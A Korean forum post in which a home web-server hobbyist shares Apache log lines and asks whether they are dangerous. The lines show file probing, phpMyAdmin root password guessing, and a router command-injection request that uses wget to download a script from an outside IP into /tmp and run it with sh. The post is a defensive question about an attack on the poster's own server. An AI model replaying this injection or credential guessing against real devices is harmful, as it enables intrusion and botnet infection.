최근 심심풀이용으로 아파치를 이용한 웹서버를 개인 컴퓨터로 만들어 봤습니다.

PHP, HTML. CSS, j a - v a s c r i p t을 연습하기 위한 서버라 80번 포트를 열어놓고 외부에서도 접속 가능하도록 Twin IP 설정을 해놨는데

오늘 로그를 보니 phpmyadmin에 루트계정으로 접속시도한 로그가 보이더군요.

 

200.54.x.xx - - [04/Oct/2018:09:55:17 +0900] "PROPFIND / HTTP/1.1" 405 520 "-" "-" 

으로 시작해서

 

200.54.x.xx - - [04/Oct/2018:09:55:19 +0900] "GET /help.php HTTP/1.1" 404 502 "-" "Mozilla/5.0 （Windows NT 6.1; Win64; x64; rv:58.0） Gecko/20100101 Firefox/58.0" 

처럼 여러 파일이나 디렉토리에 접근했으며,

 

200.54.x.xx - - [04/Oct/2018:09:55:37 +0900] "POST /wuwu11.php HTTP/1.1" 404 503 "-" "Mozilla/4.0 （compatible; MSIE 7.0; Windows NT 6.0）" 

POST가 뭔진 잘 모르겠으나 이런식으로 여러 .php파일에 접근하려고 했고,

 

200.54.x.xx - - [04/Oct/2018:09:56:40 +0900] "GET /phpmyadmin/index.php?pma_username=root&pma_password=&server=1 HTTP/1.1" 200 12574 "-" "Mozilla/5.0 （Windows NT 10.0; Win64; x64; rv:61.0） Gecko/20100101 Firefox/61.0"

 

...

 

200.54.x.xx - - [04/Oct/2018:10:01:02 +0900] "GET /phpmyadmin/index.php?pma_username=root&pma_password=P@$$w0rd&server=1 HTTP/1.1" 200 13152 "-" "Mozilla/5.0 （Windows NT 10.0; Win64; x64; rv:61.0） Gecko/20100101 Firefox/61.0" 

 

약 5분동안 무차별 대입을 한것 같은데.. 전공분야가 아니다보니 위험한건지 궁금합니다.

 

400번대 코드인걸 보면 문제는 없는건가요?

 

마지막으로

 

94.141.xx.xx - - [04/Oct/2018:14:51:11 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.172.xxx.xx/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 0 "-" "Hakai/2.0" 

이건 공유기에 뭔짓을 할려고 한건가요?